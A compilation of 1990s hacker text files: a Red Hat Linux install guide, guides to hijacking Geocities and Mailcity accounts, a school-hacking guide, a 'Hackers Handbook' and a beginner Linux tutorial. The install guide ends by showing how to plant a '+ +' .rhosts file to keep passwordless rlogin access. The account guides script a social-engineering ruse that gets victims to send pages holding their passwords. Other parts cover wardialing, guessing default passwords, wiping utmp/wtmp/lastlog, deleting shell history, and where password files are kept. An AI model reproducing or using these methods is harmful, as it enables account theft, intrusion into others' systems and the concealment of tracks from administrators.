First of all you need to get linux installed on your system so goto <http://www.redhat.com> I would suggest you invest \$40 in buying the newest version of RedHat linux this way you will get all the files you want/need on one cd. If you have a problem with paying that price, then contact me and i will ship you a copy for half that price, yes only \$20! If you are really cheap (like me :-)) you could try and download it, i have gotten it to work before but it's really not worth the wait, i spent a total download time of about 3 days to download all the files i wanted, and if one of the files doesn't work, well you're pretty much fucked. Whatever you decide to do, weather it's purchasing a copy from me or from redhat.com, or being cheap :-)) and downloading it, you should read the linux documentation project especially the installation part, it will save you hours of worry. I will touch down very briefly on what you have to do to install linux, but not nearly enough for you to understand the installation. Many people will tell you not to buy RedHat products because they're full of bugs, this is true, and I couldn't agree more, but the bugs are present if you're trying to hack teh box, so in this case just get RedHat Linux, since it's by far the most user friendly and the easiest to install. On the other hand if you are intending to run a sophisticated webserver do NOT get redhat, get something like slackware, or debian linux.

If you are planning to use linux to access the net etc... you will need to read the FAQ on compatability at <http://www.redhat.com>, i currently don't know of any distribution of linux that supports winmodem or any other type of modem that uses windows software to speed it up, these modems are generally those yukky U.S robotics modems.

From now on I'm assuming you either purchased RedHat linux from me or from RedHat. O.K lets get started, you will need to partition your harddrive, to do this goto dos and type in fdisk choose no. 4 to view current partitions. If you have one large partition that fills your whole harddrive just reserved for windows then once again you're fucked. You need to back up all your shit, before performing the steps below. Once everything is backed up go to dos yet again and type 8 in fdisk, now you need to delete your current partition and set a new primary partition the primary partition should not fill your whole harddrive, leave as much space as you want unpartitioned, this unpartitioned space is what you're going to be putting linux on. So now thats done restore your old windows shit and make sure everything is working nice and dandy. Now pop in your redhat cd in your cd-rom drive, and reboot your system. Follow the instructions until you get to a screen that asks if you wish to use fdisk or disk druid to partition your harddrive, just choose disk druid, now you need to set up a native linux partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs. Now after you have assignned a native linux partition and labeled it / Then you need to assignn swap space, assignn as much as you see fit mine is about 55 megs. It is also a good idea to label your dos partition i label mine

/dos this is so i can access files in my dos partition while using linux. Once that is done click on OK and save the partition tables, when you get to the place where you choose what to install. If you have a partition that's more than 600 MB then choose the install everything option at the bottom of the list, if your partition is below 600 MB, then choose everything on the list except the install everything option. If by some chance you just want a very basic setup, this is what i used to run, just choose x-windows, DNS Nameserver, Dial-UP workstation, c++ development, and c development. This will give you everything you need to compile programs in linux, connect to your ISP, run x-windows etc....

X-Windows is a graphical interface for linux it's very very nice it's kinda like windows 95 but it doesn't suck as much, by the way I will be referring to windows 95 as winblows, for obvious reasons :-).

Once everything is installed, it will try to configure x-windows for you, this is where it actually helps if you know every little chip in your system, if you don't well then just guess, but whatever you do don't install Metro-X, just install XFree86 x-server it's better, well after all that shit you will need to install LILO, LILO is a boot manager it allows you to boot into dos, linux and whatever other O/S's you may have lying around in your system, once all that is set up, you will be asked if you wish to install a printer or not, figure that part out yourself, it's pretty straight forward, so I'm not gonna waste my time. I wouldn't recommend configuring a LAN unless you know your shit about linux.

So once setup is finished, your system will reboot. WOA you just installed linux and you're still alive it's amazing isn't it. So now you should be faced with a prompt that says LILO Boot: you can now press tab for options this will show which operating systems you can boot into. You should have the following two choices dos and linux, now since this text file covers linux you would want to boot into linux so at the LILO prompt type in linux or simply press return, since linux is your default operating system. Now you should see a bunch of services starting, this indicates that linux is loading.

When you reach the login prompt type in root and use the password you specified for the setup program earlier. Finally you have redhat linux installed on your system, and hopefully you're still alive, you're still with me RIGHT!!!! O.K so you have logged in as root, first thing you want to do is shadow your password file I always do this because then at least i know a little clueless newbie could never get in my system, to do this type in pwconv. Well that's all you have to do, to me it's a shock that there are so many unshadowed systems on the net when it's so easy to shadow the password file, but i guess ignorance is the Satan of all god's people. Well i guess you're like dying to show your friends how k-rad and elite you are, so I guess well better get on to setting up linux to use the net, in other words to dial out to your ISP. O.K here's how you do it. When you're at the prompt type in startx this will start up x-windows. Once x-windows is started, you should see an interface much like windows 95, to the left should be a box named control panel, in the center you should see a window named local-host, this is simply the rootshell just like the one you get when you login. Now to get the modem set up, in the control panel there should be a lot of small icons, go to the 6th one down (modem configuration) choose what com port your modem is on, if you don't know choose SOM 1 it seems to be the default in most computers in gateways i do believe it's COM 2, once that's done, go to the 5th icon down in the control panel (network configuration) and click it, now choose interfaces then go to add, choose ppp as your interface type. Put in your ISP's phone number, and your login and password. Then choose customize, click on networking and

click on activate interface at boot time, once this is done goto done and choose to save the configuration. Well thats it simply reboot by typing in reboot and listen to your sweet modem's music.

Now that you're connected to your ISP let's go do some surfing, once you're in x-windows, goto start/applications and click on Netscape Navigator. Visit <http://www.rootshell.com> and run a search for scan, once you're confronted with the search results, go down and find the file named xenolith.tgz download that file. This is a neat little scanner that scans sites for volunerabilities, and I'm basiacly gonna give you a lesson in uncompressing files in linux. Once the file is downloaded goto the dir in which it resides. Since it's a .tgz file we would uncompress it using the following method. Type in gunzip -d xenolith.tgz this will give you xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz then type in zcat xenolith.tar.gz | tar xvf - . This will give you a dir called xenolith just cd xenolith and read the README files for installation instructions. I just thought i would include something on uncompressing files because many people ask me for help on the topic.

Well I'm getting to the place where I have to think about what i want to put in this text file, well here's something I will include, a section with some useful command, so here goes. To shutdown your computer type in shutdown -h now (your message) to reboot simply type reboot. To compile use gcc filename.c -o filename. To talk to a user type in write username then on the next line write your message, if you don't want people to send you messages type in mesg n. Well i sure hop this guide helped you through getting linux installed if you want to read books on linux and you're cheap like me goto <http://www.mcp.com> and sighn up for their personal bookshelf, and get reading tons of books for free, it's a hackers dream and all time paradise.

Now just as you thought it was over I'm gonna show you a few hacking tricks from linux not really how to hack just some useful commands, so here goes. To telnet to a site type in telnet www.victim.com ,to telnet toa site on a specific port type in telnet www.victim.com portnumbe. Let's say i wanted to telnet to port 25 i would type in telnet www.victim.com 25 . To FTP to a machine type in ftp www.victim.com. To rlogin to a machine, many of you proably dont know what the hell im talking about so let me explain. If you place a file called .rhosts in someones home directory and that file has two plusses like this + + in it you can use the rlogin command to log into the system using that account without a password. Ring a bell in your mind? filling with fresh ideas. I use this method whenever I geta shell account, it assures me that if they by any chance change the passowrd I can always rlogin into the system assuming that the account has a .rhosts file in it and the file contains + + then you're in good shape. Assume the username of the account is lamer. So inorder to rlogin into lamer's account we would do the follwoing. Type in rlogin www.victim.com -l lamer . This will telnet us directly into lamer's account where we can start rooting the system.

Well my hand hurts from typing too much, so I'm gonna stop typing, please if you have any questions, suggestions, or comments, e-mail them to [ameister@vol.com](mailto:ameister@vol.com). Also i nee some suggestions on what to write text files about so please e-mail me, it would be greatly appreciated. Me and some friends are going to be making a magazine with lots of text files and other interesting hacking material, if you would like a copy e-mail me for more info, the price should be no mroe than \$4 Shipping & Handling included.

DISCLAIMER:

This shit is for educational purposes only, I'm not responsible for any trouble you get in using this info.

VISIT MY WEBPAGE FOR MY OTHER TEXT FILEZ AND USEFUL UTILITIES ETC...

HACKERSWEB IS BACK

<http://www.vol.com/~ameister>

Help file generated by VB HelpWriter.



## Hack Geocities Websites

How To Hack Geocities Webpages

&

Mailboxes

by,

AcidMeister...

<http://www.vol.com/~ameister>

[ameister@vol.com](mailto:ameister@vol.com)

This text file was written, after i wrote my text file on hacking mailcity webpages, which was also, on the day that ezoons asked me to put his great text file on my webpage <http://www.vol.com/~ameister>. Later that day actually it was night i decided to try the same method out on some other free webpage places, and so i did. I wrote one text file on hacking Mailcity pages, and so i tried it on geocities, 10 minnutes laterz i had hacked a test page, and guess what you can now hack geocities pages too. I fully give Ezoons the credit for finding this exploit. This text file is supposed to encourage all you supposid hackers, to get out and try your own ideas or at least to try the techniques you read about on other sites. So here goes this is more of a joke to me I don't take this kinda hacking seriously, so have like a bag of weed and some Acid at hand, so you can see this text through my eyes, also. Note this text file can be used to hack Angelfire just change all the Geocities webpages & boxes with Angelfire, or you could just read Ezoons k-rad elito neato guide. Your choice. So here goes.

Get a fucking account at geocities.com, now goto the members section choose filemanager and login with your login and password, on the next page you get to, view the source code (the page name should be file\_manager.htm.) On about line 178 you should see something to similliar to this, if you dont want to count all these lines then put all the html code into notepad and run a search for passwd, and somewhere around that area you will find the info you need. A # represents a comment made by me.

```
<INPUT TYPE="hidden" NAME="member" VALUE="nickom666"> #username
<INPUT TYPE="hidden" NAME="passwd" VALUE="_5gaVFNYeEiYrv=z/kdKK"> #i think it's an encrypted
passsword of some sort
<INPUT TYPE="hidden" NAME="fulladdress" VALUE="SiliconValley/Foothills/7281"> #webpage
address
<INPUT TYPE="hidden" NAME="subdirectory" VALUE=""> # something you don't need
<INPUT TYPE="hidden" NAME="email" VALUE="acidmeister@hotmail.com"> # e-mail address person
subscribed with
<INPUT TYPE="hidden" NAME="geoextras" VALUE="NN1NN"> #don't know don't care
<INPUT TYPE="hidden" NAME="diskspace" VALUE="11"> #don't know don't care
<INPUT TYPE="hidden" NAME="timestamp" VALUE="901868702"> #ehhh a timestamp
</FORM>
<form method="post" action="/cgi-bin/geoguide/geoguide_verify">
<INPUT TYPE="hidden" NAME="member" VALUE="nickom666"> #username ---the information you
```

need

```
<INPUT TYPE="hidden" NAME="passwd" VALUE="hlxwx"> #passwd ---the information you need
```

Now you're goodie hackerz instict, if you have any. Should tell you the following. If you can get someone to give you that page you can simple open it and you'll be in their account. Now Ezoons has kept this a secret for a long time, so let's try not to spread it to every goddamn lamer on earth.

OK let's get on with da hack....

First find a fucking webpage at geocities, that shouldn't be hard, if you cant't find one then you're not a fucking hacker. Get a fake e-mail account at mailcity.com or hotmail.com or some other crappy place, give them all fake info on you. Now e-mail the guy make up some dumbass story, shit i dont know you're someone who wants to try out this new program, what it does is log attempts to hack your webpage, tell him inorder to run this program you must customize specifiacly for his page so tell him to do the following. Log into his geocities account and once he has logged in, to save that page and send it to you, the page should be named file\_manager.htm. Well thats it once you get the file just double click it and you'll be directly in his file place on Feocities. To get into his mailbox you will have to look at the source code of the file he sends you and filter out the username and password, in the file\_manager.htm file.

Then just login with his username and password, pretty nifty eh. Thank Ezoons for this, i just wrote this text file out of boredom and to educate you on the general stupidity of these servers, and also to encourage you to try things on your own such as reading about a great exploit on hotmail and then not trying it anywhere else.

Please visit my website it has several text files to learn from, including Ezoons, text on hacking Angelfire if you want the original one. It also has lots of great hacking toolz. While you're there please take the time to sighn my guestbook, and post any questions, comments, and/or deaththreats you may have, on the message board.

DISCLAIMER:

I AM NOT RESPONSIBLBLE FOR ANYTHING YOU DO WITH THIS TEXT FILE OR ANY TROUBLE YOU GET INTO, MY ISP OR ANYWHERE ELSE THIS TEXT FILE IS HOSTED WILL NOT BE RESPONSIBLBLE EITHER.

## How to Hack Mail City Web Sites

How To Hack Mailcity Webpages

&

Mailboxes

by,

AcidMeister...

<http://www.vol.com/~ameister>

[ameister@vol.com](mailto:ameister@vol.com)

---

This text file was written on the day that ezoons asked me to put his great text file on my webpage <http://www.vol.com/~ameister>. Later that day actually it was night i decided to try the same method out on some other free webpage places, and so i did. I fully give Ezoons the credit for finding this exploit. This text file is supposed to encourage all you supposid hackers, to get out and try your own ideas or at least to try the techniques you read about on other sites. So here goes this is more of a joke to me I don't take this kinda hackign seriously, so have like a bag of weed and soem Acid so you can see this text through my eyes, also. Note this text file can be used to hack Angelfire just change all the Mailcity webpages & boxes with Angelfire, or you could just read Ezoons k-rad elito nato guide. Your choice. So here goes.

Get a fucking account at mailcity.com login to their webpage thingy once you're logged in view the source on that page the name should be bedit.html, well if you look down about 17,18 lines you should see something like this.

```
<input type=hidden name=storage value="computers">
<input type=hidden name=hpd value="lamer">           #his login
<input type=hidden name=password value="thepassword"> #his password
```

Noe you're goodie hackerz instict, if you have any. Should tell you the following. If you can get someone to give you that page you can simple open it and you'll be in their account. Now Ezoons has kept this a secret for a long time, so let's try not to spread it to every goddamn lamer on earth.

OK let's get on with da hack....

First find a fucking webpage at mailcity, at the moment this can be pretty hard to find, but I'm sure that with time it will gain popularity, so once you have your target. Get a fake e-mail account at mailcity.com or hotmail.com or some other crappy place, give them all fake info on you. Now e-mail the guy make up some dumbass story, shit i dont know you're someone who wants to try out his new program, what it does is log attempts to hack your webpage, tell him in order to run this program you must customize specifically for his page so tell him to do the following. Log into his mailcity account and once he has logged in, to save that page and send it to you, the page should be named bedit.html. Well that's it once you get the file just double click it and you'll be directly in his file place on mailcity. To get into his mailbox you will have to look at the source code of the file he sends you and filter out the username and password, you know the ones on line 17 & 18.

Then just login with his username and password, pretty nifty eh. Thank Ezoons for this, i just wrote this text file out of boredom and to educate you on the general stupidity of these servers, and also to encourage you to try things on your own such as reading about a great exploit on hotmail and then not trying it anywhere else.

Please visit my website it has several text files to learn from, including Ezoons if you want the original one. It also has lots of great hacking toolz. While you're there please take the time to sign my guestbook, and post any questions, comments, death threats you may have on the message board.

DISCLAIMER:

I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS TEXT FILE OR ANY TROUBLE YOU GET INTO, MY ISP OR ANYWHERE ELSE THIS TEXT FILE IS HOSTED WILL NOT BE RESPONSIBLE EITHER.

Help file generated by VB HelpWriter.

## How to Hack Into Your School

---

H@xOrInG ScHoOl

by,

ÄçİĐMêiTéR

---

o.k so u want to be popular at school, or just hack your school, for fun & profit, well you're reading the right text file. Your school proably has a dialup to find this dialup you will need to get a wardialer, goto <http://www.yahoo.com> and search for wardialer, you need to find out your school regular phone number lets sasy it's 371-2694, what you would do is set the wardialer to dial every number in that perfix so what we want to scan is every number in the following rang 371-0000 371-9999, this method will give you a shitload of carries (computers that are connected to a phone line) you can do this with businies etc..... you'd be suprised how many computers are in your little town, these computers are also extremely easy to hack. Most will have common logins such as login: root password: root. Well when you found your schools dialup, you should be able to find out which number is you schools it may even tell u at the login like welcome to someschoolname please login. Well this is where you try some default logins and passwords if this dosn't work, try every login with passwords to do with school, or even teachers names etc.... Well thats about all i can tell you in this text file there are other ways. But i'm not gonna cover them here. I need suggestions about what to write about so if you would please e-mail me some suggestions to [ameister@vol.com](mailto:ameister@vol.com), also I love answering e-mails with questions,comments,suggestions,flames, and/or deaththerats to [ameister@vol.com](mailto:ameister@vol.com) also for other text files written by me and also some useful tools and utilities visit <http://www.vol.com/~ameister>.

### DISCLAIMER:

I'm not responsible for any trouble you get in using this knowledge I just gave you it's for educational purposes only that's why it's about hacking your crappy school.

ExEcUsE ThE SpEILiNg MiStAkEs, I WrOtE ThIs In A HuRrY

Help file generated by VB HelpWriter.

## Hackers Handbook

MAx-----Hand Book01-----

just stuff to remember when hacking ...

section1: Tells u about this txt

section2: Tell's u some basic unix commands that will help u out

section3: Tells u about log's and where they can be placed and programs to edit them.

section4: Tell's u of security programs on server and where they usually are..

section5: Tell's u of some log modifier programs around for unix system

section6: Tell's u of all the passwd files places on systems

section1..

This txt is just for people when hacking forget some stuff like on where the passwd files on diff systems are and where all the log's and so forth..

section2..

The simple UNIX commands

netstat -d (tells u all the netstat commands )

netstat (this tells u the host on a server )

netstat -n (this is a cool feature tells u everyone connected to server and there ip and port )

cp /home/file ~MAx

etc. cp=copy /home <filename> ~MAx (~MAx is dir etc./home/max)

this is copying file from /home to /home/MAx

CD = CD

COPY = CP

DEL = RM

DIR = LS

HELP = HELP

MOVE = MV

w = tells u list of everyone on and what they are doing.

ls -aIf = shows u all files on server even hidden ones.

All files with a . before them are hidden

LN = allows u to link a file to another

etc.(ln /home/MAx/.bash\_history /dev/null

:this will link the history file to dev/null nothing :)

awk \*\* Search for a pattern within a file

bdiff \*\* Compares two large file

bfs \*\* Scans a large file

cal \*\* Displays a calendar

cat \*\* Documents and prints file

cc \*\* C compiler

cd \*\* Change directory

chgrp \*\* Changes a file's group ownership

chmod \*\* Changes a file's access permissions

cmp \*\* Compares two files

comm \*\* Compares two files so as to determine which lines

\*\* are common to both

cp        \*=  
 cu        \*=  
 date      \*=  
 fr        \*=  
 diff      \*=  
 diff3     \*=  
 du        \*=  
 echo      \*=  
 ed        \*=  
 ex        \*=  
 f77       \*=  
 find      \*=  
 format    \*=  
 grep      \*=  
 help      \*=  
 kill      \*=  
 in        \*=  
 ipr       \*=  
 is        \*=  
 mail      \*=  
 mkdir     \*=  
 more      \*=  
 mv        \*=  
 nroff     \*=  
 passwd    \*=  
 ps        \*=  
 pwd       \*=  
 rm        \*=  
 rmdir     \*=  
 sleep     \*=  
           \*=  
 sort      \*=  
 spell     \*=  
 split     \*=  
 stty      \*=  
 tail      \*=  
 troff     \*=  
 tset      \*=  
 unmask    \*=  
 uucp      \*=  
 vi        \*=  
 wc        \*=  
 who       \*=  
 write     \*=  
 bin       \*=  
 lib       \*=  
 tmp       \*=  
 etc       \*=  
 dev       \*=  
 usr       \*=

section3..

Log's

WTMP - every log on/off, with login/logout time plus tty and host

UTMP - who is online at the moment

LASTLOG - where did the logins come from

There are others.... just search around they are easily found  
this where the top 3 files are usually located

UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log  
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log  
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log

Shells-----

sh: .sh\_history

csh: .history

ksh: .sh\_history

bash: .bash\_history

zsh: .history

Backup Files :

dead.letter, \*.bak, \*~

these are located in the shell..

Here're 4 csh commands which will delete the .history when you log out,  
without any trace.

```
mv .logout save.1
echo rm .history>.logout
echo rm .logout>>.logout
echo mv save.1 .logout>>.logout
```

section4..

yeah allways check for installed security programs

most security sites, there are security checkers run by cron.

The normal directory for the crontabs are /var/spool/cron/crontabs. Check  
out all entries, especially the "root" file and examine the files they run.

Just a fast investigation of the crontabs of root type "crontab -l  
root".

SOFTWARE	STANDARD PATH	BINARY FILENAMES
----------	---------------	------------------

tripwire	/usr/adm/tcheck, /usr/local/adm/tcheck	databases, tripwire
----------	--	---------------------

binaudit	/usr/local/adm/audit	auditscan
----------	----------------------	-----------

hobgoblin	~user/bin	hobgoblin
-----------	-----------	-----------

raudit	~user/bin	raudit.pl
--------	-----------	-----------

l5	compile directory	l5
----	-------------------	----

First a small glossary of terms

Change	Changes fields of the logfile to anything you want
--------	--

Delete	Deletes, cuts out the entries you want
--------	--

Edit	real Editor for the logfile
------	-----------------------------

Overwrite	just Overwrites the entries with zero-value bytes.
-----------	--



Don't use such software (f.e. zap) - it can be detected!

section5..

### LOG MODIFIER

ah-1\_0b.tar Changes the entries of accounting information

clear.c Deletes entries in utmp, wtmp, lastlog and wtmpx

cloak2.c Changes the entries in utmp, wtmp and lastlog

invisible.c Overwrites utmp, wtmp and lastlog with predefined values,  
so it's better than zap.  
Watch out, there are numerous inv\*.c !

marryv11.c Edit utmp, wtmp, lastlog and accounting data - best!

wzap.c Deletes entries in wtmp

wtmped.c Deletes entries in wtmp

zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected

section6..

These are paths of where the passwd files will be on some servers and the token in the passwd file tells u what it is ....

Version	Path	Token
AIX 3	/etc/security/passwd	!
or	/tc/aut/files//	
A/UX 3.0s	/tc/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir .pag]	*
SCO Unix #.2.x	/tc/aut/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir .pag]	*
UNICOS	/etc/udb	

That's the Mx handbook version 1

might bring out more this was just made for friends to look over ...  
and remember

WORDS OF WISDOM>>..

ALL hackers should unite we are all fighting for the same reasons some

might be diff but we should all join forces so if we ever needed help  
we would have it..  
Everyones allways hearing about hacker wars  
that shouldn't be on  
just rember the web is our fighting ground not other hackers....

..  
(c) 1998 MAx [4d5044]

Help file generated by VB HelpWriter.

## Linux

-----Linux for Beginners-----  
...by MAx member of :MPD: (c) 1998 MAx [4d5044]

\*note\*This tutorial should teach u all basics of linux u need to know before u can start teaching ya self.I also recommend u print this and do the tut's on ya linux as u go along so u are understanding it to the fullest.

### \*\*\*COmmmands\*\*\*

|Chmod|: allows u to set permissions to files.  
|alt + f2|: will make another cv which means u can switch between accounts if u want to go back to first account press alt +f1(This is useful as most of the time u will be logged on as a normal user only when someone is hacking or u need to change something u will switch to root thus not having to end the current connection just use the above command) on a average u can switch upto f4 but u cna set it up to f12.  
|adduser| this allows u to add user shells to your linux.(when ever u add a user to your system the usual folder made for his shell will be in /home/Username/)  
|passwd|: this allows u to change or set a password for a user shell, etc. passwd MAx. this will alsk me to enter old pass then new one.  
|CD|: this command allows u to change the dir u are in etc. cd root would log u into the root dir |cd ..| and |cd .| are inlinux if u want to go back.  
|ls|: this comand list's all the files in the dir.extra commands to ls are:  
|ls -f|: this extended command tells u in more info on the file/dirs in that directory.  
|mkdir|:this feature enables u to make directories,anywhere in ya linux,  
|md|: is just another command to make dir's.  
|cp|: this comand allows u to copy files to certain directories.  
etc cp /home/MAx .  
"." represents current directory, u could also do etc cp /home/MAx /home.  
|mv|: this option allows u to move files/directories to other locations.  
etc. mv Filename/dir MAx, this will rename filename/dir to MAx,  
U cna also move to another dir by doing mv Filename/dir /home/.  
|rm|: this command allows u to remove a file,Etc. rm Filename.  
|more|,|cat|: these commands allow u to view files.  
|man|: this command is used to show u info on files, etc / |man ls|  
this will tell u all possable commands for ls.  
|startx|: this command is used if your in linux and u have xwindows,  
installed and setup u can get straight into it by that command.  
|ctrl+d|: this will terminatealot of programs like cat.  
\*\*\*all above commands and alot more will be explained in this tutorial.  
---Accessing ms-dos files,windows files in linux---

IF u want to access ms dos files on your linux the best way to do would be to mount a ms-dos paratition or floppy on under linux.  
For example if u have a ms-dos floppy in /dev/fd0, the command would be  
mount -t msdos /dev/fd0 /mnt  
this will mount it under /mnt.

U can also mount an ms-dos partition on yout hard drive under linux.  
If u have a mss-dos partition on /dev/hda1 the command  
mount -t msdos /dev/hda1 /mnt  
U can also mount a VFAT file system that is using windows 95.  
mount -t vfat /dev/hda1 /mnt

---Whats in what directory---

This part will help u get to know your linux on where everything is kept and stored.

/: this is root directory everything go's in here.

/bin: this directory hold's most essential system programs etc.cp,ls,mv.

/dev: this directory hold's device files they are system devices and resources like disk drives,modems and memory.

/dev/console refers to the system's console this is the monitor connection directly to your system.

/dev/ttyS,/dev/cua devices are used for accessing serial ports. /dev/ttys0 refers to "com1"/dev/cua devices are "callout" devices,and used with a modem.

\*\*\*device names beginning with hd access hard drives. /dev/hda refers to the while fist hard disk,while /dev/hda1 refers to the first parition on /dev/hda

\*\*\*Devices names that begin with sd are scsi drivers.If u have a Scsi hard drive,instead of accessing it through /dev/hda, you would access /dev/sda. Scsi tapes are accessed via st devices and SCSI CD-ROM via sr devices.

\*\*\*Devices names that begin with lp access parallel ports. /dev/lp0 is the same as "lpt1" in the ms-dos world.

\*\*\*/dev/null is means nothing its used as a "black hole" in windows terms its used as a "recycling bin" sending data to this will make it gone forever.

/usr/x11r6: this contains the xwindows system if u installed it. The xwindows system is a graphical enviroment that provides a windows look about it u must of all used windows products.Xwindows looks very simular to windows./usr/x11r6 contains all of the xwindows exavutables,configuration files and support files.

/usr/bin:this contains software on any linux system,containing most of the exe's(executables) from program not foubd in other places like /bin.

/usr/etc: just as /etc contains essential miscellaneous system programs and configuration files, /usr/etc contains untities and files,that in general,are not essential to the system.

/usr/include: this contains all include files for c compilers.These files declare data structure names,subroutines, and contants used when writing c programs.Files in /usr/include/sys are generally used when programming on the unix system level.If u are familiar with c programming language, here you'll find header files like stdio.h, which declare functions like printf().

/usr/g++-include:this contains include files for c++ compilers

/usr/lib: this comtains "stub" and "static" library equivalents for the files found in /lib.When compiling a program, the program is "linked" with the libraries found in /usr/lib,which then directs the program to look in /lib when it needs the actual code in the library.In addition, various other programs store config files in /usr/lib.

/usr/local: is much like /usr except it contains various programs and files not essential to the system, but which make the system fun and exciting. In general, programs in /usr/local are specialized for your system, /usr/local differs greatly between linux systems.

/usr/man: this contains manual pages. There are 2 subdirs in it for every manual page "section".

---Types of shells---

There are several shells in a linux the most commonly used shells are "Bourne shell", "C shell".

The bourne shell uses a command syntax like the original shell on early unix systems, like system III. The name bourne shell on most linux systems is /bin/sh (sh stands for shell). The C shell uses a different syntax, somewhat like the programming language C, and on most linux systems it's named /bin/csh.

Then there is Bash (/bin/bash), and "Tcsh" (/bin/tcsh). Bash is a form of the bourne shell that includes many of the advanced features found in the C shell. Because bash supports a superset of the bourne shell syntax, shell scripts written in the standard Bourne shell should work with Bash. If you prefer to use a C shell syntax, Linux supports tcsh, which is an expanded version of the original C shell.

It's up to you which shell you use. Some like Bourne shell syntax with the advanced features of bash, and some prefer the most structured C shell syntax. With basic commands like cp and ls are concerned the shell you use doesn't matter the syntax is the same. Only when you start to write shell scripts or use advanced features of a shell do the differences between shell types begin to matter.

---Wildcards---

Wildcards are features in linux that allow you refer to more than 1 name but using special characters these wildcards let you refer to say all the names that contain the character "n".

The wildcard "\*" specifies any character or string of characters in a file name. When you use the character "\*" in a filename, the shell replaces it with all possible substitutions from file names in the directory.

etc. in your directory type: `ls *o*`,

and it will list all the files with the letter "O" in it.

Other examples of use are: `ls f*`, `ls *ff`, `ls *f*`, `ls s*f`, these will all work. Stuff around with them and you will see what the results are.

\*\*\*important note: All file names that begin with "." are considered hidden using `ls` will not find these files, `ls -a` will show all hidden files in that directory.

wildcard is "?" this wildcard expands to only a single character.

Thus "`ls ?`" displays all one character filenames. And "`ls termca?`" would display "termcap" but not "termcap.backup". etc if you had a folder called "joe" and you typed `ls j?e`, it would display that folder. It's useful if you forget how to spell something or you want all files to be displayed that have 3 letters and j is first e is 3rd.

example of a wildcard copy: `cp /etc/s* /home/MAx`, this will copy all files starting with "S" to /home/MAx.

#### ----Pipelining----

Pipelining is used so when u do a mass ls on a directory is all go's by way to quickly and u want to see it all use this command

```
:ls /usr/bin | more .
```

Thats not it u can pipe more then 2 commands together the command head is a filter that displays the first lines from an input stream.

```
etc: ls | sort -r | head -1 .
```

#### ---Non-destructive redireion of output---

Using ">" to redirect output to a file is destructive: in other words, the command " ls > dir\_name "

overwrites the contents of the file file-list.IF instead,u redirect with the symbol ">>", the output is appended to the name file instead of overwriting it.etc: ls >> dir\_name

appends the output of the ls command to directory\_name.

#### ---File permission---

Because there is typically more than one user on a linux system,linux provides a mechanism known as file permissions,which protect user files from tampering by other users.This mechanism lets files and directories be "owned" by a particular user.For example. because I created files in my home dir, I own those files and i have access to them.

Linux also lets files be shared between users and groups of users.If I desired i could cut off access to my files so that no other user could access them.However, on most systems the default is to allow other user's to read your files but not modify or delte them in any way.

every file is owned by a particular user.However, files are also owned by a particular group,which is a defined group of system.Every user is placed into at least one group wen that user's acount is created.However, the system admin may grant the user access to more than one group.

Groups are usually defined by the type of users who access the machine. For example,on a university linux system users may be placed into groups student,staff,faculty, or guest.There are also a few syste-defined groups(like bin and admin)which are used by the system itself to control access to resources--very rarely do actual users belong to these system groups.

Permissions fall into three main divisions: read,write, and execute,These permissions may be granted to three classes of users:the owner of the file, the group to which the file belongs, and to all users, regardless of group. Read permission lets a user read the contents of a the file,or in the case of directiries,list the contents of the directory(using ls). Write permisson lets the user write tp and modify the file.For directories, write permisson lets the user write to and modify the file.For directories, write permission lets the user creat new files or delted files within that directory.Finally, execute permission lets the user run the file as a program or shell script(if the file is a program or a shell script). For directories, having execute permission lets the user cd into the directory in queston.

#### ---Interpreting file permissions---

Let's look at an example that demonstrates file permissions.Using the "ls" with the -l option displays a "long" listing if the file, including

file permissions.  
example:"ls -l stuff"  
-rw-r--r-- 1 MAX users 505 MAr 13 19:05 stuff

The first field in the listing represents the file permissions. The second field is the owner of the file (MAX) and the fourth field is the group to which the file belongs (users). Obviously, the last field is the name of the file (stuff). We'll cover the other fields later.

This file is owned by MAX, and belongs to the group users. The string -rw-r--r-- lists, in order the permissions granted to the file's owner, the file's group, and everybody else.

The first character of the permissions string ("-") represents the type of file. A "-" means that this is a regular file (as opposed to a dir or device driver.). The next three characters ("rw-") represent the permissions granted to the file's owner, MAX. The "r" stands for "read" and the "w" stands for "write". Thus, MAX has read and write permission to the file stuff.

As mentioned, besides read and write permission, there is also "execute" permission--represented by an "x". However, a "-" is listed here in place of an "x", so MAX doesn't have execute permission on this file. This is fine, as the file stuff isn't a program of any kind. Of course, because MAX owns the file, he may grant himself execute permission for the file if he so desires. (This will be covered shortly.)

The next three characters, ("r-") represent the group's permissions on the file. The group that owns the file is users. Because only an "r" appears here, any user who belongs to the group users may read this file.

The last three characters, also ("r-"), represent the permissions granted to every other user on the system (other than the owner on the file and those in the group users). Again, because only an "r" is present, other users may read the file, but not write to it or execute it.

Here are some other examples of permissions:

"-rwxr-xr-x" The owner of the file may read, write and execute the file. Users in the file's group, and all other users, may read and execute the file.

"-rw-----" The owner of the file may read write the file. No other user can access the file.

"-rwxrwxrwx" All users may read, write, and execute the file.

### ---Permission Dependencies---

The permissions granted to a file also depend on the permissions of the dir in which the file is located. For example even if a file is set to "-rwxrwxrwx", other users cannot access the file unless they have read and execute access to the dir in which the file is located. For example, if MAX wanted to restrict access to all his files, he could set the permissions to his home dir /home/MAX to -rwx---. In this way, no other user has access to his directory, and all files and directories within it. MAX doesn't need to worry about the individual permissions on each of his files.

In other words, to access a file at all, you must have execute access to all dir's along the file's pathname, and read (or execute) access to the file itself.

Typically, users on a linux system are very open with their files. The usual set permissions given to files are -rrw-r-r-, which lets other users read the file but not change it in any way. The usual set of permissions given to dir's is -rwxr-xr-x, which lets other users look through your dir, but not create or delete file within them.

